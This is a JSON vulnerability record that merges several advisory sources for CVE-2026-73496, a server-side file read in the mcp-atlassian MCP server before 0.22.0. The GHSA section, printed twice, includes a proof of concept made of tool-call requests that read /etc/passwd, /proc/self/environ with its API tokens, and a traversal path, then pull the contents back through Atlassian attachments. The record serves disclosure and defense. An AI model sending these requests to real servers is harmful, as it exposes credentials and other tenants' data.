{"id":"CVE-2026-73496","aliases":["EUVD-2026-77795","GHSA-wm45-qh3g-v83f"],"status":"published","title":"MCP Atlassian: Arbitrary server-side file read via attachment upload","description":"MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the confluence_upload_attachment and confluence_upload_attachments tools pass a client-controlled file_path through src/mcp_atlassian/confluence/attachments.py upload_attachment, and the jira_update_issue attachments parameter reaches src/mcp_atlassian/jira/attachments.py upload_attachment, without confining either path to an approved server workspace. In a remote HTTP, SSE, or multi-user deployment, absolute or traversing paths are resolved on the MCP server and uploaded to Atlassian, allowing a client with write-tool access to disclose server files, environment-held Atlassian credentials, or another tenant's data. A local single-user stdio deployment does not cross this trust boundary because the server runs in the caller's environment. This issue is fixed in version 0.22.0.","severity":{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00481,"percentile":0.41785,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-73"],"published":"2026-07-10T19:34:30Z","modified":"2026-10-28T02:30:25Z","fixes":[{"ecosystem":"PyPI","package":"mcp-atlassian","fixed_in":["0.22.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"mcp-atlassian","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.22.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"mcp-atlassian","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.22.0"}]}],"versions":["0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.2","0.1.3","0.1.4","0.1.6","0.1.7","0.1.8","0.1.9","0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.10.5","0.10.6","0.11.0","0.11.1","0.11.10","0.11.11","0.11.12","0.11.2","0.11.2a2","0.11.3","0.11.4","0.11.5","0.11.6","0.11.7","0.11.8","0.11.9","0.12.0","0.13.0","0.13.1","0.14.0","0.14.1","0.14.2","0.14.3","0.15.0","0.16.0","0.16.1","0.17.0","0.18.0","0.18.1","0.19.0","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.20.0","0.20.1","0.21.0","0.21.1","0.3.0","0.3.1","0.4.0","0.5.0","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.7.0","0.7.1","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.9.0"]}],"products":[{"vendor":"sooperset","product":"mcp-atlassian"}],"references":[{"url":"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/sooperset/mcp-atlassian/pull/1448","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-wm45-qh3g-v83f"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/73xxx/CVE-2026-73496.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73496","tags":["advisory"]},{"url":"https://github.com/sooperset/mcp-atlassian","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-73496","title":"MCP Atlassian: Arbitrary server-side file read via attachment upload","description":"MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the confluence_upload_attachment and confluence_upload_attachments tools pass a client-controlled file_path through src/mcp_atlassian/confluence/attachments.py upload_attachment, and the jira_update_issue attachments parameter reaches src/mcp_atlassian/jira/attachments.py upload_attachment, without confining either path to an approved server workspace. In a remote HTTP, SSE, or multi-user deployment, absolute or traversing paths are resolved on the MCP server and uploaded to Atlassian, allowing a client with write-tool access to disclose server files, environment-held Atlassian credentials, or another tenant's data. A local single-user stdio deployment does not cross this trust boundary because the server runs in the caller's environment. This issue is fixed in version 0.22.0.","status":"published","published":"2026-09-14T19:49:03.525Z","modified":"2026-09-16T16:10:16.281Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-22","CWE-73"],"updated_at":"2026-11-02T13:43:22.599321Z"}],"euvd":[{"id":"EUVD-2026-77795","description":"MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the confluence_upload_attachment and confluence_upload_attachments tools pass a client-controlled file_path through src/mcp_atlassian/confluence/attachments.py upload_attachment, and the jira_update_issue attachments parameter reaches src/mcp_atlassian/jira/attachments.py upload_attachment, without confining either path to an approved server workspace. In a remote HTTP, SSE, or multi-user deployment, absolute or traversing paths are resolved on the MCP server and uploaded to Atlassian, allowing a client with write-tool access to disclose server files, environment-held Atlassian credentials, or another tenant's data. A local single-user stdio deployment does not cross this trust boundary because the server runs in the caller's environment. This issue is fixed in version 0.22.0.","status":"published","published":"2026-09-14T19:49:03Z","modified":"2026-09-16T16:10:16Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T17:28:15.407859Z"}],"ghsa":[{"id":"GHSA-wm45-qh3g-v83f","title":"mcp-atlassian: Arbitrary server-side file read via attachment upload","description":"### Summary\n\nA client that can invoke MCP tools can read **arbitrary files from the server host** and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied `file_path` and `open()` it on the **server's** filesystem.\n\nThe upload tools are meant to attach a file from the **caller's** environment — the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file *content* in place of a server-side path. A remote client therefore reads the server's files — and, in multi-tenant deployments, other tenants' data — instead of its own. (In a local `stdio` deployment the server runs as the user, so the path refers to the user's own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.)\n\n### Details\n\nThe upload tools read a client-supplied path directly on the server:\n\n- `src/mcp_atlassian/confluence/attachments.py` — `upload_attachment` → `_upload_attachment_direct` → `os.path.abspath(file_path)` → `open(file_path, \"rb\")`\n- `src/mcp_atlassian/jira/attachments.py` — `upload_attachment` → `os.path.abspath(file_path)` → `open(file_path, \"rb\")`\n\n`os.path.abspath()` only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path.\n\nClient-reachable entry points that hit these sinks:\n\n- `confluence_upload_attachment` → `ConfluenceFetcher.upload_attachment`. The `file_path` field is documented as \"absolute … or relative to the current working directory.\"\n- `confluence_upload_attachments` → loops over the same sink.\n- `jira_update_issue` — its `attachments` parameter (JSON array or comma-separated list of paths) flows through `IssuesMixin.update_issue` → `self.upload_attachments` → the Jira sink. There is no standalone `jira_upload_attachment` tool; `jira_update_issue` is the only Jira entry point.\n\n### PoC\n\n**Local reproduction**\n\nExtract `traversal_upload_attachment_file_read.zip`:\n```\n# Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh\ndocker compose up -d        # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false\n./poc.sh                    # exits 0 on success\n```\n\n\u003e Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the `/etc/passwd` round-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI.\n\nAll calls are issued against the HTTP transport with `READ_ONLY_MODE=false` (the default).\n\nStep 1 — read `/etc/passwd` from the server via Confluence upload:\n```\nreq → tools/call confluence_upload_attachment\n      { \"content_id\": \"\u003cPAGE_ID\u003e\", \"file_path\": \"/etc/passwd\" }\n← { \"message\": \"Attachment uploaded successfully\",\n    \"attachment\": { \"success\": true, \"filename\": \"passwd\", \"id\": \"att\u003c...\u003e\" } }\n```\n\nStep 2 — retrieve the exfiltrated content back through MCP (round-trip proves a real read):\n```\nreq → tools/call confluence_download_attachment { \"attachment_id\": \"att\u003c...\u003e\" }\n← base64 resource decoding to:\n    root:x:0:0:root:/root:/bin/bash\n    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n    ...\n```\n\nStep 3 — same primitive via the Jira entry point (second sink):\n```\nreq → tools/call jira_update_issue\n      { \"issue_key\": \"\u003cISSUE_KEY\u003e\", \"fields\": \"{}\", \"attachments\": \"/etc/passwd\" }\n← { \"attachment_results\": { ... \"success\": true ... } }\n```\n\nStep 4 — credential disclosure via `/proc/self/environ`:\n```\nreq → tools/call confluence_upload_attachment\n      { \"content_id\": \"\u003cPAGE_ID\u003e\", \"file_path\": \"/proc/self/environ\" }\n← success; the resulting \"environ\" attachment contains the server's env,\n  including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN.\n```\n(`os.path.getsize` reports 0 for procfs, but the upload transmits the real content — the attachment shows ~1 kB in the Confluence UI.)\n\nStep 5 — relative traversal accepted (no containment):\n```\nreq → tools/call confluence_upload_attachment\n      { \"content_id\": \"\u003cPAGE_ID\u003e\", \"file_path\": \"../../../../etc/hostname\" }\n← success — relative paths are resolved and read on the server just like absolute ones.\n```\n\nThe uploaded files (`passwd`, `environ`, `hostname`) appear as real attachments on the Confluence page, confirming the server read them off its own host.\n\n### Impact\n\nAny client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. `/etc/passwd`, `/proc/self/environ`, application config, key material). Uploading `/proc/self/environ` discloses the server's environment variables — including the configured `JIRA_API_TOKEN` / `CONFLUENCE_API_TOKEN` — i.e. the server process's own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants.\n\nThe security impact concentrates in remote / HTTP-transport deployments (`sse`, `streamable-http`, default bind `0.0.0.0`), where the `file_path` resolves on the server host rather than the client's. In a single-user `stdio` deployment the path refers to the user's own machine, so there is no boundary crossing.\n\n### Credit\n\nDiscovered by [Francisco Rosales](https://www.linkedin.com/in/francisco-rosales-celis/) of [Manifold Security](https://manifold.security/)","status":"published","published":"2026-07-10T19:34:30Z","modified":"2026-07-10T19:34:33Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22","CWE-73"],"updated_at":"2026-11-02T14:40:42.703776Z"}],"nvd":[{"id":"CVE-2026-73496","description":"MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the confluence_upload_attachment and confluence_upload_attachments tools pass a client-controlled file_path through src/mcp_atlassian/confluence/attachments.py upload_attachment, and the jira_update_issue attachments parameter reaches src/mcp_atlassian/jira/attachments.py upload_attachment, without confining either path to an approved server workspace. In a remote HTTP, SSE, or multi-user deployment, absolute or traversing paths are resolved on the MCP server and uploaded to Atlassian, allowing a client with write-tool access to disclose server files, environment-held Atlassian credentials, or another tenant's data. A local single-user stdio deployment does not cross this trust boundary because the server runs in the caller's environment. This issue is fixed in version 0.22.0.","status":"published","published":"2026-09-14T20:16:50.833Z","modified":"2026-09-30T17:51:56.193Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-22","CWE-73"],"updated_at":"2026-11-02T14:12:47.335523Z"}],"osv":[{"id":"CVE-2026-73496","title":"MCP Atlassian: Arbitrary server-side file read via attachment upload","description":"MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the confluence_upload_attachment and confluence_upload_attachments tools pass a client-controlled file_path through src/mcp_atlassian/confluence/attachments.py upload_attachment, and the jira_update_issue attachments parameter reaches src/mcp_atlassian/jira/attachments.py upload_attachment, without confining either path to an approved server workspace. In a remote HTTP, SSE, or multi-user deployment, absolute or traversing paths are resolved on the MCP server and uploaded to Atlassian, allowing a client with write-tool access to disclose server files, environment-held Atlassian credentials, or another tenant's data. A local single-user stdio deployment does not cross this trust boundary because the server runs in the caller's environment. This issue is fixed in version 0.22.0.","status":"published","published":"2026-09-14T19:49:03.525Z","modified":"2026-10-28T02:30:25.307534093Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22","CWE-73"],"updated_at":"2026-11-02T15:45:16.365946Z"},{"id":"GHSA-wm45-qh3g-v83f","title":"mcp-atlassian: Arbitrary server-side file read via attachment upload","description":"### Summary\n\nA client that can invoke MCP tools can read **arbitrary files from the server host** and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied `file_path` and `open()` it on the **server's** filesystem.\n\nThe upload tools are meant to attach a file from the **caller's** environment — the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file *content* in place of a server-side path. A remote client therefore reads the server's files — and, in multi-tenant deployments, other tenants' data — instead of its own. (In a local `stdio` deployment the server runs as the user, so the path refers to the user's own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.)\n\n### Details\n\nThe upload tools read a client-supplied path directly on the server:\n\n- `src/mcp_atlassian/confluence/attachments.py` — `upload_attachment` → `_upload_attachment_direct` → `os.path.abspath(file_path)` → `open(file_path, \"rb\")`\n- `src/mcp_atlassian/jira/attachments.py` — `upload_attachment` → `os.path.abspath(file_path)` → `open(file_path, \"rb\")`\n\n`os.path.abspath()` only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path.\n\nClient-reachable entry points that hit these sinks:\n\n- `confluence_upload_attachment` → `ConfluenceFetcher.upload_attachment`. The `file_path` field is documented as \"absolute … or relative to the current working directory.\"\n- `confluence_upload_attachments` → loops over the same sink.\n- `jira_update_issue` — its `attachments` parameter (JSON array or comma-separated list of paths) flows through `IssuesMixin.update_issue` → `self.upload_attachments` → the Jira sink. There is no standalone `jira_upload_attachment` tool; `jira_update_issue` is the only Jira entry point.\n\n### PoC\n\n**Local reproduction**\n\nExtract `traversal_upload_attachment_file_read.zip`:\n```\n# Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh\ndocker compose up -d        # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false\n./poc.sh                    # exits 0 on success\n```\n\n\u003e Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the `/etc/passwd` round-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI.\n\nAll calls are issued against the HTTP transport with `READ_ONLY_MODE=false` (the default).\n\nStep 1 — read `/etc/passwd` from the server via Confluence upload:\n```\nreq → tools/call confluence_upload_attachment\n      { \"content_id\": \"\u003cPAGE_ID\u003e\", \"file_path\": \"/etc/passwd\" }\n← { \"message\": \"Attachment uploaded successfully\",\n    \"attachment\": { \"success\": true, \"filename\": \"passwd\", \"id\": \"att\u003c...\u003e\" } }\n```\n\nStep 2 — retrieve the exfiltrated content back through MCP (round-trip proves a real read):\n```\nreq → tools/call confluence_download_attachment { \"attachment_id\": \"att\u003c...\u003e\" }\n← base64 resource decoding to:\n    root:x:0:0:root:/root:/bin/bash\n    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n    ...\n```\n\nStep 3 — same primitive via the Jira entry point (second sink):\n```\nreq → tools/call jira_update_issue\n      { \"issue_key\": \"\u003cISSUE_KEY\u003e\", \"fields\": \"{}\", \"attachments\": \"/etc/passwd\" }\n← { \"attachment_results\": { ... \"success\": true ... } }\n```\n\nStep 4 — credential disclosure via `/proc/self/environ`:\n```\nreq → tools/call confluence_upload_attachment\n      { \"content_id\": \"\u003cPAGE_ID\u003e\", \"file_path\": \"/proc/self/environ\" }\n← success; the resulting \"environ\" attachment contains the server's env,\n  including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN.\n```\n(`os.path.getsize` reports 0 for procfs, but the upload transmits the real content — the attachment shows ~1 kB in the Confluence UI.)\n\nStep 5 — relative traversal accepted (no containment):\n```\nreq → tools/call confluence_upload_attachment\n      { \"content_id\": \"\u003cPAGE_ID\u003e\", \"file_path\": \"../../../../etc/hostname\" }\n← success — relative paths are resolved and read on the server just like absolute ones.\n```\n\nThe uploaded files (`passwd`, `environ`, `hostname`) appear as real attachments on the Confluence page, confirming the server read them off its own host.\n\n### Impact\n\nAny client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. `/etc/passwd`, `/proc/self/environ`, application config, key material). Uploading `/proc/self/environ` discloses the server's environment variables — including the configured `JIRA_API_TOKEN` / `CONFLUENCE_API_TOKEN` — i.e. the server process's own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants.\n\nThe security impact concentrates in remote / HTTP-transport deployments (`sse`, `streamable-http`, default bind `0.0.0.0`), where the `file_path` resolves on the server host rather than the client's. In a single-user `stdio` deployment the path refers to the user's own machine, so there is no boundary crossing.\n\n### Credit\n\nDiscovered by [Francisco Rosales](https://www.linkedin.com/in/francisco-rosales-celis/) of [Manifold Security](https://manifold.security/)","status":"published","published":"2026-07-10T19:34:30Z","modified":"2026-09-18T11:56:01.812172705Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22","CWE-73"],"updated_at":"2026-11-02T15:46:58.767335Z"}]}}
